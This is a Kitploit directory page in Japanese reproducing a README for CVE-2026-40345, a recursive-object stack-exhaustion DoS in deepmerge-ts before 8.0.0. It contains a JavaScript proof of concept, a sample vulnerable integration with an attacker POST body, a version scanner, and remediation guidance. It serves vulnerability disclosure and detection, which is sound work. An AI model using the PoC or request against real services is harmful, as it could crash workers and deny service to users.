Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40345 — deepmerge-ts 8.0.0 より前のスタック枯渇型サービス拒否(DoS)を再現し、悪用方法を文書化し、脆弱な依存関係のバージョン範囲をスキャンするスキャナを含みます。 | Kitploit
ツール/GitHubGitHub/jvr2022/cve-2026-40345
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティサプライチェーンセキュリティ
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

deepmerge-ts 8.0.0 より前のスタック枯渇型サービス拒否(DoS)を再現し、悪用方法を文書化し、脆弱な依存関係のバージョン範囲をスキャンするスキャナを含みます。

リポジトリを見る
6323日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

deepmerge-ts < 8.0.0: 再帰的オブジェクトグラフ DoS

私は、deepmerge-ts の 8.0.0 より前のバージョンでスタック枯渇バグを再現しました。

興味深い点は、このクラッシュに巨大なネストオブジェクトは不要で、オブジェクトの同一性に起因するということです。マージされる両方の値が同じプロパティを通じて自分自身を参照している場合、マージルーチンは同じペアを訪問し続け、Node.js のスタック領域を使い果たします。

アドバイザリ: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 重大度: 高 影響: 可用性

なぜこれが際立ったのか

ほとんどのマージテストは通常の JSON 形式のデータを使用します:

root@kitploit:~
{
  user: {
    name: "alice"
  }
}

そのデータは非循環です。JavaScript オブジェクトは、自分自身や同じグラフ内の別のオブジェクトへの参照を含むこともできます。テストスイートが JSON フィクスチャのみを使用している場合、これらのケースは見落としがちです。

最も小さい失敗グラフは、同じ自己参照を持つ2つの別々のオブジェクトです:

root@kitploit:~
const left = {};
left.self = left;

const right = {};
right.self = right;

内部で何が起こるか

レコードのマージは列挙可能なキーを走査し、各キーの値を収集して、それらの値に対して再度マージルーチンを呼び出します。影響を受けるリリースには、循環チェックや、以前に出現したオブジェクトペアの追跡はありません。

self キーは実行を同じ状態に戻します:

root@kitploit:~
deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

同じ動作は、deepmergeInto、deepmergeCustom、deepmergeIntoCustom が同じ種類のグラフを受け取った場合にも到達可能です。

ローカルでの再現

パッケージは package.json で影響を受ける 7.1.6 リリースに固定されています。

root@kitploit:~
npm install
npm run poc

完全なテストは poc.mjs にあります。これは両方の公開 API をローカルで実行し、予想される RangeError をキャッチして、結果を読みやすくしています。

PoC の重要な部分は次のとおりです:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

期待される出力:

root@kitploit:~
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

PoC は、影響を受ける動作が観測された場合に成功を返します。パッケージがアップグレードされ、両方の呼び出しが完了した場合、問題が再現されなかったため、クリーンな結果を出力してステータス 1 で終了します。

これはどのように悪用され得るか

特別な循環 JSON ペイロードはありません。通常の JSON パーサーは非循環グラフを生成するため、非常に深い JSON ボディを以下のように送信するだけではトリガーされません:

root@kitploit:~
deepmerge(defaults, req.body);

アプリケーションは、マージ関数を呼び出す前に循環を作成または保持する必要があります。これは、グラフのハイドレーションコード、参照を保持するデシリアライザー、キャッシュやセッションオブジェクトの再利用、またはレコードを相互にリンクするカスタムロジックで発生する可能性があります。

脆弱な統合の小さな例を示します。hydrate 関数は、ユーザー制御のフラグを自己参照に変換します:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

HTTP ルートが mergeRequest を呼び出す場合、攻撃者は次を送信できます:

root@kitploit:~
POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

両方のサイドに self 参照が含まれるようになります。ルートが deepmerge(left, right) を呼び出すと、ライブラリは left.self と right.self をたどり、同じペアを再度受け取り、V8 がスローするまで再帰します。

アプリケーションがこの正確な hydrate 関数を使用する必要はありません。重要な条件は次のとおりです:

  1. 攻撃者が制御するデータが再帰的オブジェクトグラフに影響を与える可能性がある。
  2. 両方のマージ入力が同じプロパティパスに循環を含む。
  3. グラフが影響を受けるマージ API のいずれかに到達する。

ルートが公開されており、例外がキャッチされない場合、1回のリクエストで Node.js ワーカーを停止できます。プロセススーパーバイザーが自動的に再起動する場合、リクエストを繰り返すことでサービスを再起動ループに保つことができます。認証が必要な場合でも、攻撃者はそのルートへのアクセスを依然として必要とします。

これはサービス拒否の問題です。このバグは、コード実行、ファイルアクセス、または別のリクエストからマージ入力を読み取る手段を提供しません。

JSON だけでは不十分な理由

この区別は、実際のアプリケーションを評価する際に重要です。次のリクエストボディ自体は循環ではありません:

root@kitploit:~
{
  "self": true
}

これは、アプリケーションコードが self: true をルートオブジェクトへの参照として解釈するか、別のパーサーがオブジェクト参照を復元する場合にのみ関連します。パッケージは結果のグラフを安全に処理する必要がありますが、リモートでの悪用可能性はパッケージの周囲のコードに依存します。

影響

直接的な影響は、同期スタック枯渇による可用性の喪失です。

周囲のアプリケーションによって、結果は次のようになります:

  • 1つのリクエストが RangeError で失敗する
  • キャッチされない例外がワーカープロセスを終了させる
  • プロセスマネージャーの下でワーカーが繰り返し再起動される
  • ワーカーが再起動されている間、リクエストキューが滞留する
  • ルートに繰り返し到達できる場合、サービスが利用不能になる

この問題自体には、機密性や完全性への影響はありません。マージルートが認証なしで公開インターネットから到達可能であるか、別のサービスによって自動的に再試行される場合、重大度は増加します。

検出

クラッシュ PoC を実行する前に、影響を受ける依存関係の参照を見つけるために scanner.mjs を追加しました。これは次をチェックします:

  • package.json の依存関係レンジ
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

プロジェクトディレクトリに対して実行します:

root@kitploit:~
node scanner.mjs /path/to/project

CI や他のツールでは、JSON 出力を使用します:

root@kitploit:~
node scanner.mjs /path/to/project --json

このリポジトリでの結果例:

root@kitploit:~
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

スキャナーは、影響を受けるバージョンまたはレンジを見つけると、ステータス 1 で終了します。Git URL やその他の非 semver ソースは、安全として黙って扱われるのではなく、REVIEW とマークされます。

修復

直接の修正は、deepmerge-ts >= 8.0.0 にアップグレードし、ロックファイルを更新することです。

root@kitploit:~
npm install deepmerge-ts@^8.0.0

アプリケーションはまた、再帰的入力の処理方法を決定する必要があります。合理的なオプションは次のとおりです:

  • 入力境界で循環を拒否する
  • マージ中に訪問済みのオブジェクトペアを追跡する
  • マージ深度を制限し、制御されたエラーで失敗する
  • リクエスト境界でマージエラーをキャッチする
  • ワーカーの終了と再起動ループを監視する

エラーをキャッチすることはプロセスの安定性に役立ちますが、攻撃者がリクエストを繰り返すことができる場合、根本的なサービス拒否を除去するものではありません。依存関係のアップグレードと再帰的入力の処理が重要な修正です。

パッチ適用済みリリースの検証

依存関係を 8.0.1 に変更し、再インストールして、同じ PoC を実行します:

root@kitploit:~
npm install [email protected]
npm run poc

パッチ適用済みリリースでは、両方の呼び出しが完了し、スクリプトは次のように出力します:

root@kitploit:~
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.

参照

  • GitHub セキュリティアドバイザリ
  • CVE-2026-40345
  • npm の deepmerge-ts
  • CWE-674: 制御されない再帰

ライセンス

このリポジトリの PoC とスキャナーは、MIT ライセンス の下で公開されています。

ツールをダウンロード